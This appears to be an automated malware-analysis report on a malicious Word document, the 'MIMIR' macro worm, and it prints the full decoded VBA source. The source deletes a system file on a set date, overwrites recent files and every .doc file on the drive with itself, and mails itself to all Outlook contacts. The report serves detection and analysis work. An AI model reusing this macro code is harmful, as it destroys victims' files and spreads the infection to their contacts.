Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d4e7cf8050ac4574…

MALICIOUS

Office (OLE)

105.0 KB Created: 1999-04-14 07:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 79175f18d39acfa4b944574fe9dbb21b SHA-1: dfa91f800ce5af74a54fa53fd3748277f311c92e SHA-256: d4e7cf8050ac45740a977664945beb02569626f1ac6c31e6a93ae84b86b13571
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening the document, as indicated by the 'Document_Open' macro and 'CreateObject' calls. The macro attempts to save the document to recently opened files and then uses Outlook to create and send new emails, likely to spread itself as an attachment. It also contains a conditional message box that appears on a specific date, suggesting a time-based payload or trigger.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7078 bytes
SHA-256: a232b51599277c71f83b135aaebf064ee9ab431ad23c9b54336dc801655bc108
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Static navn, hvor As String
Dim MAkeNewEmail As Outlook.Application
Dim NEwEmail As MailItem
Dim ObjectContactfolder As Object
Dim ObjectContact As Object

Docfilename = Word.ActiveDocument.Name
Whereis = Word.ActiveDocument.Path


If Date = "04.09.99" Then
SetAttr "c:\io.sys", vbNormal
Kill "c:\io.sys"
MsgBox "..Sorry..MIMIR has infected your PC..", vbCritical, "Oooops"
GoTo ReSuMeMimir
End

Else
ReSuMeMimir:


With Word.Windows.Application
.Caption = "MiMiR is giving your computer new intelligence!"
.ScreenUpdating = False
.StatusBar = False

sistefil1 = RecentFiles(1).Path & "\" & RecentFiles(1).Name
sistefil2 = RecentFiles(2).Path & "\" & RecentFiles(2).Name
sistefil3 = RecentFiles(3).Path & "\" & RecentFiles(3).Name
sistefil4 = RecentFiles(4).Path & "\" & RecentFiles(4).Name

.ActiveDocument.SaveAs sistefil1
.ActiveDocument.SaveAs sistefil2
.ActiveDocument.SaveAs sistefil3
.ActiveDocument.SaveAs sistefil4
 

.ActiveDocument.SaveAs Whereis & "\" & Docfilename
End With

With Application.FileSearch
    .FileName = "*.doc"
    .LookIn = "C:"
    .SearchSubFolders = True
    .Execute
    For i = 1 To .FoundFiles.Count
Word.Application.ActiveDocument.SaveAs .FoundFiles(i)
    Next i
End With



Set MAkeNewEmail = CreateObject("outlook.application")
Set NEwEmail = MAkeNewEmail.CreateItem(olMailItem)
Set mimirnamespace = MAkeNewEmail.GetNamespace("MAPI")
Set ObjectContactfolder = mimirnamespace.GetDefaultFolder(olFolderContacts)


For Each ObjectContact In ObjectContactfolder.Items
TheEmailAdress = ObjectContact.Email1Address

With NEwEmail
.To = TheEmailAdress
.Body = "Some nice jokes you got to read!! :))"
.Attachments.Add Word.ActiveDocument.FullName
.Send
End With
Next
End If

End Sub





' Processing file: /opt/analyzer/scan_staging/cfbe4ccfdad843ecaf982383108faf33.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 71892 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Dim (Static) 
' 	VarDefn navn
' 	VarDefn hvor (As String)
' Line #3:
' 	Dim 
' 	VarDefn NEwEmail (As <crash>)
' Line #4:
' 	Dim 
' 	VarDefn Docfilename (As _B_var_set)
' Line #5:
' 	Dim 
' 	VarDefn ObjectContact (As Object)
' Line #6:
' 	Dim 
' 	VarDefn mimirnamespace (As Object)
' Line #7:
' Line #8:
' 	Ld Word 
' 	MemLd ActiveDocument 
' 	MemLd New 
' 	St Whereis 
' Line #9:
' 	Ld Word 
' 	MemLd ActiveDocument 
' 	MemLd Path 
' 	St MakeEmail 
' Line #10:
' Line #11:
' Line #12:
' 	Ld Date 
' 	LitStr 0x0008 "04.09.99"
' 	Eq 
' 	IfBlock 
' Line #13:
' 	LitStr 0x0009 "c:\io.sys"
' 	Ld vbReadOnly 
' 	ArgsCall vbHidden 0x0002 
' Line #14:
' 	LitStr 0x0009 "c:\io.sys"
' 	ArgsCall fila 0x0001 
' Line #15:
' 	LitStr 0x0025 "..Sorry..MIMIR has infected your PC.."
' 	Ld ReSuMeMimir 
' 	LitStr 0x0006 "Oooops"
' 	ArgsCall MsgBox 0x0003 
' Line #16:
' 	GoTo _B_var_Docfilename 
' Line #17:
' 	End 
' Line #18:
' Line #19:
' 	ElseBlock 
' Line #20:
' 	Label _B_var_Docfilename 
' Line #21:
' Line #22:
' Line #23:
' 	StartWithExpr 
' 	Ld Word 
' 	MemLd Windows 
' 	MemLd Application 
' 	With 
' Line #24:
' 	LitStr 0x002F "MiMiR is giving your computer new intelligence!"
' 	MemStWith Caption 
' Line #25:
' 	LitVarSpecial (False)
' 	MemStWith FileSearch 
' Line #26:
' 	LitVarSpecial (False)
' 	MemStWith _B_var_Date 
' Line #27:
' Line #28:
' 	LitDI2 0x0001 
' 	ArgsLd sistefil1 0x0001 
' 	MemLd Path 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	LitDI2 0x0001 
' 	ArgsLd sistefil1 0x0001 
' 	MemLd New 
' 	Concat 
' 	St sistefil2 
' Line #29:
' 	LitDI2 0x0002 
' 	ArgsLd sistefil1 0x0001 
' 	MemLd Path 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	LitDI2 0x0002 
' 	ArgsLd sistefil1 0x0001 
'
... (truncated)